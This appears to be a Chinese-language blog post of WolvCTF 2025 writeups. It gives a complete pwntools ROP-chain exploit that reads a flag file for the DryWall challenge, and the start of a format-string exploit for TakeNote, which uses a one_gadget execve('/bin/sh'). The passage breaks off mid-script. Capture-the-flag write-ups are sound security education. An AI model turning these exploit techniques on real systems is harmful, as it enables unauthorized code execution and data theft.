<!DOCTYPE html>
<html id="_top" lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="color-scheme" content="light dark"/><meta name="language" content="zh-CN"/><title>WolvCTF 2025 Writeup | 花盆</title><meta name="author" content="LittFlower"/><meta name="description" content="2025年 WolvCTF 题解"/><meta property="og:type" content="article"/><meta property="og:title" content="WolvCTF 2025 Writeup | 花盆"/><meta property="og:url" content="https://blog.littflower.top/writeups/WolvCTF2025-Writeup/README.mdx"/><meta property="og:description" content="2025年 WolvCTF 题解"/><meta property="og:site_name" content="花盆"/><meta property="og:locale" content="zh-CN"/><meta name="twitter:card" content="summary"/><meta name="twitter:title" content="WolvCTF 2025 Writeup | 花盆"/><meta name="twitter:description" content="2025年 WolvCTF 题解"/><link rel="canonical" href="https://blog.littflower.top/writeups/WolvCTF2025-Writeup/README.mdx"/><link rel="alternate" type="application/rss+xml" title="花盆" href="/rss.xml"/><script>(function () {
    var storageKey = "theme";
    var root = document.documentElement;
    var theme = "light";
    try {
      var stored = window.localStorage.getItem(storageKey);
      if (stored === "light" || stored === "dark") {
        theme = stored;
      } else if (
        typeof window.matchMedia === "function" &&
        window.matchMedia("(prefers-color-scheme: dark)").matches
      ) {
        theme = "dark";
      }
    } catch (_) {}
    root.setAttribute("data-theme", theme);
  })();</script><script defer src="/theme.js?v=d3b88eea84"></script><link rel="preload" as="style" href="/style.css" type="text/css"/><link rel="preload" as="style" href="/fonts.css" type="text/css"/><link rel="stylesheet" href="/style.css" type="text/css"/><link rel="stylesheet" href="/fonts.css" type="text/css"/></head><body><nav aria-label="页面导航" class="top-bar fullwidth"><div class="top-bar-inner fullwidth"><div class="top-bar-group"><a href="/" aria-label="root" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>/</span></a><a href=".." aria-label="parent" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>..</span></a></div><div class="top-bar-group"><a href="#_content" class="top-bar-link"><code class="hash inline-code">#</code>内容</a><a href="#_top" class="top-bar-link"><code class="hash inline-code">#</code>回到顶部</a><button type="button" data-theme-toggle="true" aria-pressed="false" title="切换为深色主题" class="theme-toggle"><code aria-hidden="true" class="hash inline-code">#</code>  <span data-theme-toggle-label="true" class="theme-toggle-label">浅色主题</span></button></div></div></nav><div class="page-shell"><nav aria-label="当前目录文件" class="page-files"></nav><main class="page-main page-main--toc"><article id="_content" style="scroll-margin-top:48px;" class="page-article"><h1 id="wolvctf-2025-writeup" class="scroll-target"><a href="#wolvctf-2025-writeup"><code class="hash inline-code">#</code>WolvCTF 2025 Writeup</a></h1>
<h2 id="drywall" class="scroll-target"><a href="#drywall"><code class="hash inline-code">#</code>DryWall</a></h2>
<p>orw，注意一下 <code class="inline-code">openat</code> 的第一个参数，如果使用绝对路径的话应该是 <code class="inline-code">AT_FOWD</code>，也就是 <code class="inline-code">-100</code>，对应 <code class="inline-code">0xffffff9c</code></p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./chal"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "debug"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"drywall.kctf-453514-codelab.kctf.cloud"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1337</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.G:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">gdb.attach</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"breakrva 0x137a"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"?</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"./flag.txt</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x00</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.recvuntil</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"&#x3C;|;)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">main_addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> int</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.recvuntil</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">drop</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">True</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.decode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> main_addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> elf.sym</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'main'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">log.info</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"pie => </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">hex</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pie</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">flag_addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4050</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rax_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000000119b</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">00000000000013db</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rsi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">00000000000013d9</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdx_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000001199</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">syscall </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000000119d</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 280</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ffffff9c</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rsi_ret, flag_addr, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">257</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rsi_ret, pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4060</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># payload += flat([pop_rdi_ret, 3, pop_rsi_ret, pie + 0x4060, 0, pop_rdx_ret, 0x100, pop_rax_ret, 78, syscall])</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rsi_ret, pie </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4060</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">100</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div>
<h2 id="takenote" class="scroll-target"><a href="#takenote"><code class="hash inline-code">#</code>TakeNote</a></h2>
<p>格式化字符串，不完全是堆上的格式化字符串，因为题目先用一个栈变量存了输入的格式化字符串，再加上程序栈上找不出来两条链子，所以就还是用栈上的格式化字符串打法打。</p>
<p>这里没用 pwntools 生成，毕竟还是有长度限制的，自己手写方便点。</p>
<p>one_gadget 挑的是这个，因为注意到 <code class="inline-code">r15</code> 和 <code class="inline-code">rdx</code> 寄存器刚好是 0：</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-text">0xe3b01 execve(&quot;/bin/sh&quot;, r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
</code></pre></div>
<p>布置栈链的时候显然得 4 字节 4 字节写入，于是得爆破一下，1/16</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">#!/usr/bin/env python3</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./chal_patched"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "info"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">libc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"./libc.so.6"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.G:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    gdb.attach</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"breakrva 0x14d8"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Exit</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> write</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx, content</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"]</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">content</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> show</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"?</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> pwn</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span 